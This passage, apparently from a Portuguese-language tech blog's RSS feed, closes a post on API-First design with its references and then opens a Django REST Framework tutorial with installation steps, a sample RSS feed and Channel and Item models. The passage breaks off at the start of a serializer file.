&lt;p&gt;O contexto pode variar de acordo com o público alvo de sua &lt;em&gt;API&lt;/em&gt;. Por exemplo, no artigo &lt;a href=&quot;https://swagger.io/resources/articles/adopting-an-api-first-approach/&quot;&gt;&quot;Understanding the API-First Approach to Building Products&quot;&lt;/a&gt; do &lt;em&gt;swagger.io&lt;/em&gt;, há uma boa descrição do que &lt;strong&gt;não&lt;/strong&gt; pode faltar quando o assunto é prover &lt;em&gt;APIs&lt;/em&gt; dentro de uma organização:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Brainstorm:&lt;/strong&gt; Primeiro identifique os serviços chave do negócio e suas &lt;em&gt;capabilities&lt;/em&gt;. Descubra quais tipos de &lt;em&gt;APIs&lt;/em&gt;
deveriam ser oferecidas, descreva os casos de uso para tais &lt;em&gt;APIs&lt;/em&gt;, e aponte potenciais &lt;em&gt;endpoints&lt;/em&gt; baseados nesses casos
de uso.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Identifique os stakeholders:&lt;/strong&gt; Quem são os potenciais usuários dentro da sua organização? Tente construir uma visão
clara e compartilhada com os demais times da sua empresa. Permita que &lt;em&gt;stakeholders&lt;/em&gt; influenciem no &lt;em&gt;design&lt;/em&gt; da &lt;em&gt;API&lt;/em&gt; e
envolva-os em melhorias e mudanças.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Projete um contrato:&lt;/strong&gt; O contrato estabelecerá uma série de padrões e boas práticas. Descreva todas as &lt;em&gt;APIs&lt;/em&gt; e garanta
que elas funcionarão de acordo com o acordado.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crie um style guide:&lt;/strong&gt; Com um &lt;em&gt;style guide&lt;/em&gt; será possível ter consistência entre diferentes times e serviços, dentro
de uma mesma organização. &lt;em&gt;Status codes&lt;/em&gt;, versionamento, erros, padrões de rota, etc. Possuir uma especificação comum reduzirá o atrito para adoção de sua &lt;em&gt;API&lt;/em&gt; por outros desenvolvedores da organização.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implemente governança:&lt;/strong&gt; Isso ajudará a estabelecer padrões e reforçar &lt;em&gt;outcomes&lt;/em&gt; esperados. Essa prática pode envolver
de &lt;em&gt;code reviews&lt;/em&gt; a &lt;a href=&quot;https://www.mabl.com/blog/understanding-contract-testing-microservices-mabl&quot; title=&quot;Understanding Contract Testing for Microservices&quot;&gt;&lt;em&gt;contract tests&lt;/em&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automatize processos:&lt;/strong&gt; Utilize ferramentas para automatizar o processo de geração da documentação de &lt;em&gt;API&lt;/em&gt;, validação
de estilo, &lt;em&gt;mocking&lt;/em&gt;, versionamento, etc. Prover todo o ferramental necessário para que o usuário possa interagir com sua
&lt;em&gt;API&lt;/em&gt; facilmente faz parte desse passo.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Controle o seu portfolio de APIs:&lt;/strong&gt; Não é raro esquecermos que certo serviço já existe, portanto, possuir um sistema
que auxilie no gerenciamento e &lt;em&gt;tracking&lt;/em&gt; de &lt;em&gt;APIs&lt;/em&gt; é fundamental.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crie um portal para desenvolvedores internos:&lt;/strong&gt; Tenha um lugar centralizado onde usuários possam encontrar a documentação,
especificação e demais contratos. &lt;em&gt;Developer Experience&lt;/em&gt; é importante.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Muitos desses passos, mesmo em um contexto onde você esteja provendo &lt;em&gt;APIs&lt;/em&gt; para usuários externos, fazem completo sentido
(e provavelmente já façam parte da fase de arquitetura e &lt;em&gt;design&lt;/em&gt; do seu produto). Possuir um portal no qual você exponha
as suas &lt;em&gt;APIs&lt;/em&gt;, como elas funcionam e como um possível parceiro é capaz de integrar-se a ela, não são apenas artefatos de
engenharia, também são possíveis artefatos de negócios.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Se você já pratica &lt;a href=&quot;https://en.wikipedia.org/wiki/Design_by_contract&quot; title=&quot;Leia mais no Wikipedia&quot;&gt;&lt;em&gt;design by contract&lt;/em&gt;&lt;/a&gt;,
muito do que foi dito aqui já faz parte do seu cotidiano.&lt;/p&gt;
&lt;p&gt;E com o &lt;em&gt;microservices&lt;/em&gt; fazendo cada vez mais &quot;parte da normalidade&quot;, &lt;em&gt;API-First&lt;/em&gt; pode parece mais um &lt;em&gt;buzzword&lt;/em&gt; para descrever
o que já é comum. Ainda assim, não é raro escutarmos histórias sobre dois serviços diferentes que não são
capazes de se comunicar, ou de prestadores de serviço que produzem interfaces gráficas para empresas e que na hora de &lt;br&gt;
vinculá-las ao &lt;em&gt;back end&lt;/em&gt; a coisa simplesmente não funciona.&lt;/p&gt;
&lt;p&gt;Lembro que o meu primeiro contato com &lt;em&gt;API-First&lt;/em&gt; foi fruto de uma necessidade de expor certa funcionalidade para um certo
grupo de possíveis parceiros. Pensar na &lt;em&gt;API&lt;/em&gt; primeiro foi um exercício interessante, uma vez que envolveu pensar numa
plataforma coesa, e permitiu levar em consideração questões como reuso (que ocasionou na própria empresa utilizando
a &lt;em&gt;API&lt;/em&gt; produzida).&lt;/p&gt;
&lt;p&gt;Lembro também que o &lt;em&gt;feedback&lt;/em&gt; foi muito bom, uma vez que certos mercados possuem uma postura bem conservadora, e pensar
primeiro no usuário mostrou preocupação genuína com o problema do usuário e consequentemente com o produto sendo escrito.&lt;/p&gt;
&lt;p&gt;Contratos são difíceis de serem alterados depois de implementados, então discutí-los antes permite uma resposta mais rápida
(e indolor) à mudanças, além de proporcionar uma possível &quot;paralelidade&quot; entre servidor e consumidor no desenvolvimento da
funcionalidade (reduzindo assim tempo de &lt;em&gt;release&lt;/em&gt; e aumentando a interação durante a implementação do contrato por ambas as partes).&lt;/p&gt;
&lt;p&gt;Por maior que esse &lt;em&gt;post&lt;/em&gt; seja, no fim das contas &lt;em&gt;API-First&lt;/em&gt; é algo fundamentalmente simples, que assim como o &lt;em&gt;agile&lt;/em&gt;,
parte do princípio que as pessoas (e seus problemas) são o que realmente importa.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/adobetech/three-principles-of-api-first-design-fa6666d9f694&quot;&gt;Adobe Tech Blog - Three Principles of API First Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://apievangelist.com/2014/08/11/what-is-an-api-first-strategy-adding-some-dimensions-to-this-new-question/&quot;&gt;API Evangelist - What Is An API First Strategy? Adding Some Dimensions To This New Question&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://apifriends.com/api-creation/api-first/&quot;&gt;API Friends - What is an API First definition?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dzone.com/articles/an-api-first-development-approach-1&quot;&gt;DZone - An API-First Development Approach&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dzone.com/articles/what-api-first&quot;&gt;DZone - What is API First?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.programmableweb.com/news/introduction-to-api-first-design/analysis/2016/10/31&quot;&gt;ProgrammableWeb - Introduction to API-First Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://swagger.io/resources/articles/adopting-an-api-first-approach/&quot;&gt;Swagger.io - Understanding the API-First Approach to Building Products&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Design_by_contract&quot;&gt;Wikipedia - Design by contract&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Construindo APIs em Django com Django REST Framework]]></title><description><![CDATA[No post anterior
tive a oportunidade de "destilar" a minha simpatia pelo Django REST Framework,
e de salientar alguns aspectos positivos da…]]></description><link>https://klauslaube.com.br/2020/02/13/construindo-apis-em-django-com-django-rest-framework.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/02/13/construindo-apis-em-django-com-django-rest-framework.html</guid><pubDate>Thu, 13 Feb 2020 06:15:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2020/02/06/eu-me-rendo-django-rest-framework.html&quot; title=&quot;Leia o meu depoimento sobre a rendição ao DRF&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt;
tive a oportunidade de &quot;destilar&quot; a minha simpatia pelo &lt;a href=&quot;/tag/drf.html&quot; title=&quot;Leia mais sobre o Django REST Framework&quot;&gt;&lt;em&gt;Django REST Framework&lt;/em&gt;&lt;/a&gt;,
e de salientar alguns aspectos positivos da ferramenta. A praticidade
é sem dúvida um de seus pontos mais altos, e nesse &lt;em&gt;post&lt;/em&gt; vamos explorá-la através
de código escrito (que vale mais do que mil palavras).&lt;/p&gt;
&lt;h2&gt;Instalando&lt;/h2&gt;
&lt;p&gt;Sem mais delongas, o &lt;em&gt;REST Framework&lt;/em&gt; é facilmente instalado através dos comandos &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;pipenv&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pipenv install djangorestframework&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não esqueça de adicionar a &lt;em&gt;app&lt;/em&gt; ao seu &lt;code class=&quot;language-text&quot;&gt;INSTALLED_APPS&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# settings.py&lt;/span&gt;

INSTALLED_APPS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;rest_framework&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Estamos prontos para mergulhar nos conceitos de &lt;em&gt;routers&lt;/em&gt;, serializadores e &lt;em&gt;views&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Antes de ir: O problema&lt;/h2&gt;
&lt;p&gt;Embora o &quot;iMDB-clone&quot; seja o meu tipo de exemplo favorito, dessa vez vamos imaginar que estamos desenvolvendo
um &quot;Feedly-clone&quot;. O &lt;a href=&quot;https://feedly.com/&quot; title=&quot;Visite o Feedly&quot;&gt;&lt;em&gt;Feedly&lt;/em&gt;&lt;/a&gt; é uma espécie de leitor &lt;a href=&quot;/2010/11/12/o-que-e-rss.html&quot; title=&quot;O que é RSS?&quot;&gt;&lt;em&gt;RSS&lt;/em&gt;&lt;/a&gt;
(com esteroides) muito popular.&lt;/p&gt;
&lt;p&gt;Vamos focar em dois tipos específicos: &lt;code class=&quot;language-text&quot;&gt;Channel&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;Item&lt;/code&gt;; &lt;em&gt;Channel&lt;/em&gt; é de fato o &lt;em&gt;website&lt;/em&gt; ou &lt;em&gt;blog&lt;/em&gt; que queremos registrar em
nossa plataforma. Esse é o mesmo nome utilizado pelo formato &lt;em&gt;RSS&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;xml&quot;&gt;&lt;pre class=&quot;language-xml&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;token prolog&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;rss&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;2.0&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;channel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;RSS Title&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;This is an example of an RSS feed&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;link&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;http://www.example.com/main.html&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;link&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;lastBuildDate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Mon, 06 Sep 2010 00:01:00 +0000 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;lastBuildDate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;pubDate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Sun, 06 Sep 2009 16:20:00 +0000&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;pubDate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;ttl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;1800&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;ttl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;item&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Example entry&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Here is some text containing an interesting description.&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;link&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;http://www.example.com/blog/post/1&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;link&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;guid&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;isPermaLink&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;false&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;7bd204c6-1655-4c27-aeee-53f933c5395f&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;guid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;pubDate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Sun, 06 Sep 2009 16:20:00 +0000&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;pubDate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;item&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;channel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;rss&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Já item, como ilustrado no exemplo acima, é de fato a notícia/artigo/música/podcast que aquele canal está publicando.&lt;/p&gt;
&lt;p&gt;Então, partiremos do princípio que os seguintes modelos já estão estabelecidos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# channels/models.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;db &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; models


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Channel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Model&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TextField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;blank&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; null&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    link &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;URLField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__str__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Item&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Model&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    channel &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ForeignKey&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Channel&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; on_delete&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CASCADE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TextField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;blank&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; null&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    link &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;URLField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    pub_date &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;DateTimeField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__str__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O próximo passo será definir a &lt;em&gt;API&lt;/em&gt; para que um possível cliente &lt;em&gt;mobile&lt;/em&gt; (por exemplo) a consuma.&lt;/p&gt;
&lt;h2&gt;Os serializadores&lt;/h2&gt;
&lt;p&gt;Segundo a &lt;a href=&quot;https://www.django-rest-framework.org/api-guide/serializers/&quot; title=&quot;Serializers&quot;&gt;documentação oficial&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Serializers allow complex data such as querysets and model instances to be converted to native Python datatypes that can then be easily rendered into JSON, XML or other content types. Serializers also provide deserialization, allowing parsed data to be converted back into complex types, after first validating the incoming data.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Eles funcionam como um espécie de &lt;code class=&quot;language-text&quot;&gt;Form&lt;/code&gt;, proporcionando ferramental para o &lt;em&gt;parsing&lt;/em&gt; e validação das requisições, bem como controlando o que será mandado como &lt;em&gt;output&lt;/em&gt; para o usuário. Dentro dessa analogia, o &lt;code class=&quot;language-text&quot;&gt;ModelSerializer&lt;/code&gt; faz mais ou menos o que o &lt;code class=&quot;language-text&quot;&gt;ModelForm&lt;/code&gt; faz. Logo, um bom candidato para começarmos a escrever o &lt;em&gt;endpoint&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# channels/serializers.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; rest_framework &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; serializers

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; channels&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;models &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Channel


